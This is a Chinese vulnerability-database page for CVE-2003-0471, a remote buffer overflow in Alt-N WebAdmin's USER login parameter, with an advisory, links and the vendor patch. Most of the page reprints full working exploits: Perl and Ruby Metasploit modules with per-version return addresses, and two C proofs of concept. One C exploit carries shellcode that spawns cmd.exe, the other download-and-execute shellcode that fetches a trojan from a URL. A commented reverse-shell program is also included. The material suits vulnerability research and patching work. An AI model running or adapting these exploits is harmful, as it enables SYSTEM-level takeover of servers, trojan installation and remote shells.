CVE-2003-0471
CVSS7.5
发布时间 :2003-08-07 00:00:00
修订时间 :2016-10-17 22:34:13
NMCOEP    

[原文]Buffer overflow in WebAdmin.exe for WebAdmin allows remote attackers to execute arbitrary code via an HTTP request to WebAdmin.dll with a long USER argument.


[CNNVD]Alt-N WebAdmin USER参数远程溢出漏洞(CNNVD-200308-021)

        
        WebAdmin是Alt-N技术公司开发的管理MDaemon、RelayFax和WorldClient的WEB应用程序。
        WebAdmin对用户提交的超长用户名数据缺少正确边界检查,远程攻击者可以利用这个漏洞以SYSTEM权限执行任意代码。
        当用户提交一个包含超长USER参数的登陆请求时,会造成WebAdmin发生缓冲区溢出。由于webadminexe缺省作为系统服务被启动,因此,如果成功利用这个漏洞攻击者可以以SYSTEM权限执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0471
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0471
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-021
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105647081418155&w=2
(UNKNOWN)  BUGTRAQ  20030624 Remote Buffer Overrun WebAdmin.exe
http://marc.info/?l=bugtraq&m=105648385900792&w=2
(UNKNOWN)  BUGTRAQ  20030624 Re: WebAdmin from ALT-N remote exploit PoC
http://www.securityfocus.com/bid/8024
(UNKNOWN)  BID  8024

- 漏洞信息

Alt-N WebAdmin USER参数远程溢出漏洞
高危 边界条件错误
2003-08-07 00:00:00 2006-09-22 00:00:00
远程  
        
        WebAdmin是Alt-N技术公司开发的管理MDaemon、RelayFax和WorldClient的WEB应用程序。
        WebAdmin对用户提交的超长用户名数据缺少正确边界检查,远程攻击者可以利用这个漏洞以SYSTEM权限执行任意代码。
        当用户提交一个包含超长USER参数的登陆请求时,会造成WebAdmin发生缓冲区溢出。由于webadminexe缺省作为系统服务被启动,因此,如果成功利用这个漏洞攻击者可以以SYSTEM权限执行任意代码。
        

- 公告与补丁

        厂商补丁:
        Alt-N
        -----
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Alt-N Upgrade WebAdmin 2.0.5
        
        http://www.altn.com/download/default.asp#WebAdmin

        ftp://ftp.altn.com/WebAdmin/Release/wa205_en.exe

- 漏洞信息 (1210)

WebAdmin <= 2.0.4 USER Buffer Overflow Exploit (EDBID:1210)
windows remote
2005-09-11 Verified
1000 y0
N/A [点击下载]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::altn_webadmin;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

	'Name'  => 'Alt-N WebAdmin USER Buffer Overflow',
	'Version'  => '$Revision: 1.1 $',
	'Authors' => [ 'y0 [at] w00t-shell.net', ],
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 0,
	
	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  => {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 1000],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },
	  
	

	'Payload' =>
	  {
		'Space'     => 830,
		'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
		'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
		'Keys'      => ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
Alt-N WebAdmin is prone to a buffer overflow condition. 
This is due to insufficient bounds checking on the USER 
parameter. Successful exploitation could result in code 
execution with SYSTEM level privileges.
}),

	'Refs'  =>
	  [
		['BID', '8024'],
		['NSS', '11771'],
	  ],
	  
	'Targets' =>
	  [
		['WebAdmin 2.0.4 Universal', 0x10074d9b], # 2.0.4 webAdmin.dll
		['WebAdmin 2.0.3 Universal', 0x10074b13], # 2.0.3 webAdmin.dll
		['WebAdmin 2.0.2 Universal', 0x10071e3b], # 2.0.2 webAdmin.dll
		['WebAdmin 2.0.1 Universal', 0x100543c2], # 2.0.1 webAdmin.dll

	  ],
	'Keys' => ['webadmin'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my ($self) = @_;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return $self->CheckCode('Connect');
	}

	$s->Send("GET / HTTP/1.0\r\n\r\n");
	my $res = $s->Recv(-1, 20);
	$s->Close();

	if ($res !~ /v2\.0\.4|v2\.0\.3|v2\.0\.2|v2\.0\.1/) {
		$self->PrintLine("[*] This server does not appear to be vulnerable.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] Vulnerable installation detected :-)");
	return $self->CheckCode('Detected');
}

sub Exploit
{
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}

	my $splat = Pex::Text::AlphaNumText(168);

	my $credz =
	  "User=". $splat. pack('V', $target->[1]). $shellcode.
	  "&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n";

	my $sploit =
	  "POST /WebAdmin.DLL?View=Logon HTTP/1.1\r\n".
	  "Content-Type: application/x-www-form-urlencoded\r\n".
	  "Connection: close\r\n".
	  "Cookie: User=y0; Lang=en; Theme=standard\r\n".
	  "User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n".
	  "Host: $target_host\r\n".
	  "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png\r\n".
	  "Accept-Language: en\r\n".
	  "Accept-Charset: iso-8859-1,*,utf-8\r\n".
	  "Content-Length: ". length($credz). "\r\n\r\n".
	  $credz;

	$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($sploit);
	$self->Handler($s);
	$s->Close();
	return;
}

# milw0rm.com [2005-09-11]
		

- 漏洞信息 (16776)

Alt-N WebAdmin USER Buffer Overflow (EDBID:16776)
windows remote
2010-02-15 Verified
0 metasploit
N/A [点击下载]
##
# $Id: altn_webadmin.rb 8498 2010-02-15 00:48:03Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
			'Description'    => %q{
				Alt-N WebAdmin is prone to a buffer overflow condition. This
				is due to insufficient bounds checking on the USER
				parameter. Successful exploitation could result in code
				execution with SYSTEM level privileges.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8498 $',
			'References'     =>
				[
					[ 'CVE', '2003-0471' ],
					[ 'OSVDB', '2207' ],
					[ 'BID', '8024'],
					[ 'NSS', '11771'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 830,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Automatic', {}],
					['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
					['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
					['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
					['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 24 2003'))

			register_options([Opt::RPORT(1000)], self.class)
	end

	def exploit

		mytarget = target

		if (target.name =~ /Automatic/)
			res = send_request_raw({
				'uri'   => '/WebAdmin.DLL'
			}, -1)

			if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
				case $1
				when /2\.0\.4/
					mytarget = targets[1]
				when /2\.0\.3/
					mytarget = targets[2]
				when /2\.0\.2/
					mytarget = targets[3]
				when /2\.0\.1/
					mytarget = targets[4]
				else
					print_error("No target found for v#{$1}")
					return
				end
			else
				print_error("No target found")
			end
		end

		user_cook = rand_text_alphanumeric(2)
		post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
		post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

		print_status("Sending request...")
		res = send_request_cgi({
			'uri'          => '/WebAdmin.DLL',
			'query'        => 'View=Logon',
			'method'       => 'POST',
			'content-type' => 'application/x-www-form-urlencoded',
			'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
			'data'         => post_data,
			'headers'      =>
			{
				'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
				'Accept-Language' => 'en',
				'Accept-Charset'  => 'iso-8859-1,*,utf-8'
			}
		}, 5)

		handler
	end

end

		

- 漏洞信息 (22833)

Alt-N WebAdmin 2.0.x USER Parameter Buffer Overflow Vulnerability (1) (EDBID:22833)
windows remote
2003-06-24 Verified
0 Mark Litchfield
N/A [点击下载]
source: http://www.securityfocus.com/bid/8024/info

Alt-N WebAdmin is prone to a buffer overflow condition. This is due to insufficient bounds checking on the USER parameter. Successful exploitation could result in code execution with SYSTEM level privileges.

/* WebAdmin.dll remote proof of concept 2.0.4 version.. tried finding 2.0.5 but all versions
were already patched from the dl sites... this was tested on a win2ksp2 server, i suggest
using better shellcode this is just something i know works, just opens a cmd.exe prompt
on the victim box. I imagine this won't be too much harder to exploit with 2.0.5 unpatched
this took me about 1 hour to write and it was my first remote win32 exploit, thank you alt-n :D.
word to Mark Litchfield for finding this, i suggest anyone who is interested in learning win32
exploitation download this and attempt to exploit it, it's easier than you think.
shouts to innercircle you little kittens you....
-wire */
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib "ws2_32");
char sc[] = 
					 "\x55"					// push ebp
					 "\x8b\xec"				// mov ebp, esp
					 "\x53"					// push ebx
					 "\x56"					// push esi
					 "\x57"					// push edi
					 "\x8b\xe5"				// mov esp, ebp				
					 "\x55"					// push ebp
					 "\x8b\xec"				// mov ebp, esp
					 "\x33\xff"				// xor edi,edi
					 "\x57"					// push edi
					 "\x57"					// push edi
					 "\xc6\x45\xf8\x6d"			// mov byte ptr ss:[ebp-8],6d
					 "\xc6\x45\xf9\x73"			// mov byte ptr ss:[ebp-7],73
					 "\xc6\x45\xfa\x76"			// mov byte ptr ss:[ebp-6],76
					 "\xc6\x45\xfb\x63"			// mov byte ptr ss:[ebp-5],63
					 "\xc6\x45\xfc\x72"			// mov byte ptr ss:[ebp-4],72
					 "\xc6\x45\xfd\x74"			// mov byte ptr ss:[ebp-3],74
					 "\xb8\x54\xa2\xe8\x77" 		// mov eax,kernel32.loadlibraryA;
					 "\x50"					// push eax
					 "\x8d\x45\xf8"				// lea eax, dword ptr ss:[ebp-8]
					 "\x50"					// push eax
					 "\xff\x55\xf4"				// call dword ptr ss:[ebp-c]
					 "\x58"					// pop eax
					 "\x58"					// pop eax
					 "\x58"					// pop eax
					 "\x33\xc0"				// xor eax,eax
					 "\x50"					// push eax
					 "\x50"					// push eax
					 "\xc6\x45\xf8\x63"			// mov byte ptr ss:[ebp-8],63
					 "\xc6\x45\xf9\x6d"			// mov byte ptr ss:[ebp-7],6d
					 "\xc6\x45\xfa\x64"			// mov byte ptr ss:[ebp-6],64
					 "\xc6\x45\xfb\x2e"			// mov byte ptr ss:[ebp-5],2e
					 "\xc6\x45\xfc\x65"			// mov byte ptr ss:[ebp-4],65
					 "\xc6\x45\xfd\x78"			// mov byte ptr ss:[ebp-3],78
					 "\xc6\x45\xfe\x65"			// mov byte ptr ss:[ebp-2],65
					 "\xb8\x4a\x9B\x01\x78"			// mov eax, 78019b4a;system() from msvcrt win2ksp2
					 "\x50"					// push eax
					 "\x8d\x45\xf8"				// lea eax, dword ptr ss:[ebp-8]
					 "\x50"					// push eax
					 "\xff\x55\xf4"				// call dword ptr ss:[ebp-c]
					 "\x83\xc4\x04"				// add esp, 04h
					 "\x5c"					// pop esp
					 "\xc3";				// ret			we're done!



struct sockaddr_in victim;
int main(int argc, char **argv) {
	SOCKET s;
	WSADATA wsadata;
	int x;
	DWORD jmpesp = 0x1005d58d; // jmp esp from 2.0.4 webAdmin.dll...
	char exp_buf[5000];
	char boom[] = 
		"POST /WebAdmin.dll?View=Logon HTTP/1.1\r\n"
		"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
		"Accept-Language: en-us\r\n"
		"Content-Type: application/x-www-form-urlencoded\r\n"
		"Accept-Encoding: gzip, deflate\r\n"
		"User-Agent: Your Mom\r\n"
		"Host: sh0dan.org\r\n"
		"Content-Length: 395\r\n"
		"Connection: Keep-Alive\r\n"
		"Cache-Control: no-cache\r\n"
		"Cookie: User=test; Lang=en; Theme=Standard\r\n\r\nUser=";
	char o_args[] = 
		"&Password=foo&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n\r\n";
	
    if (argc != 3) {
		fprintf(stderr, "WebAdmin from Alt-N 2.0.4 Remote Exploit Proof Of Concept\n");
		fprintf(stderr, "Werd to Mark Litchfield for finding this easily exploited hole\n");
		fprintf(stderr, "Usage: %s <victim> <port>\n", argv[0]);
		exit(1);
	}

	WSAStartup(MAKEWORD(2,0),&wsadata);
	victim.sin_port = htons(atoi(argv[2]));
	victim.sin_addr.s_addr = inet_addr(argv[1]);
	victim.sin_family = AF_INET;

	memset(exp_buf, 0x90, 5000);
	x = strlen(boom);
	strncpy(exp_buf, boom, x);
	x += 168;

	memcpy(exp_buf+x, &jmpesp, 4);
	x += 4;
	memcpy(exp_buf+x, sc, strlen(sc));
	x += strlen(sc);
	memcpy(exp_buf+x, o_args, strlen(o_args));
	x += strlen(o_args);
	exp_buf[x+1] = 0x00;

	s = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
	connect(s, (struct sockaddr *)&victim, sizeof(victim));
	send(s, exp_buf, x, 0);
    
	printf("booyah");
	return(0);
}		

- 漏洞信息 (22834)

Alt-N WebAdmin 2.0.x USER Parameter Buffer Overflow Vulnerability (2) (EDBID:22834)
windows remote
2003-06-24 Verified
0 Mark Litchfield
N/A [点击下载]
source: http://www.securityfocus.com/bid/8024/info
 
Alt-N WebAdmin is prone to a buffer overflow condition. This is due to insufficient bounds checking on the USER parameter. Successful exploitation could result in code execution with SYSTEM level privileges.

/* WebAdmin.dll remote download exec shellcode. Works on 2.0.3 and 2.0.4 all windows sp's.
Oh and my previous exploit, i'm an idiot and 2.0.5 *is* the patch, heh. 
This shellcode was used by ThreaT in his vulnreg.reg exploit, it works quite nicely.
Look at the bottom of the code for some trojan.exe idea's. That one i found somewhere but
i can't remember.
shellcode has one minor suck point, it shows a window on the target host, oh and the exploit
crashes the server, so make a user account and restart the service. Be Kind.
word to Mark Litchfield for finding this, i suggest anyone who is interested in learning win32
exploitation download this and attempt to exploit it, it's easier than you think.
don't download directly from alt-n, they patched all of their 'archived' versions. heh.
shouts to innercircle you little kittens you....
-wire 
*/

#include <winsock2.h>
#include <stdio.h>
#define snprintf _snprintf // <-- a big fuck you to ms.

#pragma comment(lib,"ws2_32") 

char sc[700] = 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x68\x5E\x56\xC3\x90\x8B\xCC\xFF\xD1\x83\xC6\x0E\x90\x8B\xFE\xAC" 
    "\x34\x99\xAA\x84\xC0\x75\xF8"// download and exec ala ThreaT vulnreg exploit.
    "\x72\xeb\xf3\xa9\xc2\xfd\x12\x9a\x12\xd9\x95\x12\xd1\x95\x12\x58\x12\xc5\xbd\x91"
    "\x12\xe9\xa9\x9a\xed\xbd\x9d\xa1\x87\xec\xd5\x12\xd9\x81\x12\xc1\xa5\x9a\x41\x12"
    "\xc2\xe1\x9a\x41\x12\xea\x85\x9a\x69\xcf\x12\xea\xbd\x9a\x69\xcf\x12\xca\xb9\x9a"
    "\x49\x12\xc2\x81\xd2\x12\xad\x03\x9a\x69\x9a\xed\xbd\x8d\x12\xaf\xa2\xed\xbd\x81"
    "\xed\x93\xd2\xba\x42\xec\x73\xc1\xc1\xaa\x59\x5a\xc6\xaa\x50\xff\x12\x95\xc6\xc6"
    "\x12\xa5\x16\x14\x9d\x9e\x5a\x12\x81\x12\x5a\xa2\x58\xec\x04\x5a\x72\xe5\xaa\x42"
    "\xf1\xe0\xdc\xe1\xd8\xf3\x93\xf3\xd2\xca\x71\xe2\x66\x66\x66\xaa\x50\xc8\xf1\xec"
    "\xeb\xf5\xf4\xff\x5e\xdd\xbd\x9d\xf6\xf7\x12\x75\xc8\xc8\xcc\x66\x49\xf1\xf0\xf5"
    "\xfc\xd8\xf3\x97\xf3\xeb\xf3\x9b\x71\xcc\x66\x66\x66\xaa\x42\xca\xf1\xf8\xb7\xfc"
    "\xe1\x5f\xdd\xbd\x9d\xfc\x12\x55\xca\xca\xc8\x66\xec\x81\xca\x66\x49\xaa\x42\xf1"
    "\xf0\xf7\xdc\xe1\xf3\x98\xf3\xd2\xca\x71\xb5\x66\x66\x66\x14\xd5\xbd\x89\xf3\x98"
    "\xc8\x66\x49\xaa\x42\xf1\xe1\xf0\xed\xc9\xf3\x98\xf3\xd2\xca\x71\x8b\x66\x66\x66"
    "\x66\x49\x71\xe6\x66\x66\x66";


struct sockaddr_in victim;
int main(int argc, char **argv) {
    SOCKET s;
    WSADATA wsadata;
    int x;
    unsigned int i;
    DWORD jmpesp4 = 0x1005d58d; // jmp esp from 2.0.4 webAdmin.dll...
    DWORD jmpesp3 = 0x10071c43; // jmp esp from 2.0.3 webAdmin.dll...

    char exp_buf[5000];
    char post[] = 
        "POST /WebAdmin.dll?View=Logon HTTP/1.1\r\n"
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
        "Accept-Language: en-us\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Your Mom\r\n"
        "Host: sh0dan.org\r\n";
    
    char rest[] =    
        "Connection: Keep-Alive\r\n"
        "Cache-Control: no-cache\r\n"
        "Cookie: User=test; Lang=en; Theme=Standard\r\n\r\nUser=";

    char o_args[] = 
        "&Password=foo&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n\r\n";
    
    if (argc != 5) {
        fprintf(stderr, "WebAdmin from Alt-N remote LocalSystem exploit.\n");
        fprintf(stderr, "Werd to Mark Litchfield for finding this easily exploited hole\n");
        fprintf(stderr, "supports version 2.0.3 and 2.0.4 on any sp.\n");
        fprintf(stderr, "Usage: %s <victim> <port> <url> <version> where version is 3 or 4\n", argv[0]);
        fprintf(stderr, "Ex: %s 192.168.0.1 1000 http://heh.com/trojan.exe 4\n", argv[0]); 
        exit(1);
    }


    WSAStartup(MAKEWORD(2,0),&wsadata);
    victim.sin_port = htons(atoi(argv[2]));
    victim.sin_addr.s_addr = inet_addr(argv[1]);
    victim.sin_family = AF_INET;


    memset(exp_buf, 0x00, 5000);
    
    for (i = 0; i < strlen(argv[3]); argv[3][i++] ^=0x99);    // xor our url.

    strncat(sc, argv[3], 100); // strcat the xor'd address onto sc.
    strncat(sc, "\x99", 1); // xor'd 00
    snprintf(exp_buf, 2000, "%sContent-Length: %d\r\n%s", post, (strlen(sc)+strlen(rest)+168), rest);

    x = strlen(exp_buf);
    memset(exp_buf+x, 0x90, 168);
    x += 168;

    if(atoi(argv[4]) == 4) {
        memcpy(exp_buf+x, &jmpesp4, 4);
        x += 4;
    } else if (atoi(argv[4]) == 3) {
        memcpy(exp_buf+x, &jmpesp3, 4);
        x += 4;
    } else {
        fprintf(stderr, "uhm unknown version, try 3 or 4\n");
        exit(1);
    }

    memcpy(exp_buf+x, sc, strlen(sc));
    x += strlen(sc);
    
    memcpy(exp_buf+x, o_args, strlen(o_args));
    x += strlen(o_args);
    exp_buf[x+1] = 0x00;

    s = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    if(connect(s, (struct sockaddr *)&victim, sizeof(victim)) < 0) {
        fprintf(stderr,"error couldn't connect\n");
	exit(1);
    }
    send(s, exp_buf, x, 0);
    printf("sent!\n");
    return(0);
}


/*
ripped from somewhere, sorry i forget where i got this.
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

#define PORT 53
#define IP 192.168.0.21
void main(int argc, char *argv[])
{
        WSADATA wsaData;        
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;    
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(PORT);
        adik_sin.sin_addr.s_addr = inet_addr("IP");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);        
        ExitProcess(0);

}
*/
		

- 漏洞信息 (F83099)

Alt-N WebAdmin USER Buffer Overflow (PacketStormID:F83099)
2009-11-26 00:00:00
MC  metasploit.com
exploit,overflow,code execution
CVE-2003-0471
[点击下载]

Alt-N WebAdmin is prone to a buffer overflow condition. This is due to insufficient bounds checking on the USER parameter. Successful exploitation could result in code execution with SYSTEM level privileges.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
			'Description'    => %q{
				Alt-N WebAdmin is prone to a buffer overflow condition. This
				is due to insufficient bounds checking on the USER
				parameter. Successful exploitation could result in code
				execution with SYSTEM level privileges.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0471' ],
					[ 'OSVDB', '2207' ],
					[ 'BID', '8024'],
					[ 'NSS', '11771'],

				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 830,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
					['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
					['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
					['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll	
				],
			'DisclosureDate' => 'Jun 24 2003'))
			
			register_options([Opt::RPORT(1000)], self.class)
	end

	# Identify the target based on the WebAdmin version number
	def autofilter
		res = send_request_raw({
			'uri'   => '/WebAdmin.DLL'
		}, -1)

		if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
			case $1
			when /2\.0\.4/
				datastore['TARGET'] = 0
			when /2\.0\.3/
				datastore['TARGET'] = 1		
			when /2\.0\.2/
				datastore['TARGET'] = 2
			when /2\.0\.1/
				datastore['TARGET'] = 3
			else
				return false
			end
			
			return true
		end
		
		# Not vulnerable
		return false
	end
	
	def exploit

		user_cook = rand_text_alphanumeric(2)
		post_data = 'User=' + make_nops(168) + [target.ret].pack('V') + payload.encoded
		post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
	
		print_status("Sending request...")
		res = send_request_cgi({
			'uri'          => '/WebAdmin.DLL',
			'query'        => 'View=Logon',
			'method'       => 'POST',
			'content-type' => 'application/x-www-form-urlencoded',
			'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
			'data'         => post_data,
			'headers'      => 
			{
				'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
				'Accept-Language' => 'en',
				'Accept-Charset'  => 'iso-8859-1,*,utf-8'
			}
		}, 5)
		
		handler
	end

end
    

- 漏洞信息

2207
Alt-N WebAdmin USER Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

A remote overflow exists in WebAdmin. The issue is due to insufficient bounds checking on the USER parameter resulting in a buffer overflow. With a specially crafted request, an attacker can cause code execution with SYSTEM level privileges resulting in a loss of integrity.

- 时间线

2003-06-24 Unknow
2003-06-24 Unknow

- 解决方案

Upgrade to version 2.0.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站